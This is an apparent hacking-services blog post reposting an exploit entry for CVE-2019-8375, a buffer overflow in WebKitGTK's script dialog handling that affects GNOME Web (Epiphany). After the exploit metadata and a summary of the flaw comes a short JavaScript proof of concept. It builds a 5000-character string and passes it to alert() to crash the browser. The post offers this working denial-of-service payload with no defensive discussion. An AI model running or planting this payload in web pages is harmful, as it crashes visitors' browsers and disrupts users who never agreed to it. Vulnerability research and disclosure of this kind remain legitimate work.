Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863543091

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: Buffer overflow
# Date: 27-02-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html

## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).

## PoC:
<script>
   var a = '';
   for (var i = 1; i <= 5000; i++)
    {
       a += 'A';
    }
   alert(a);
</script>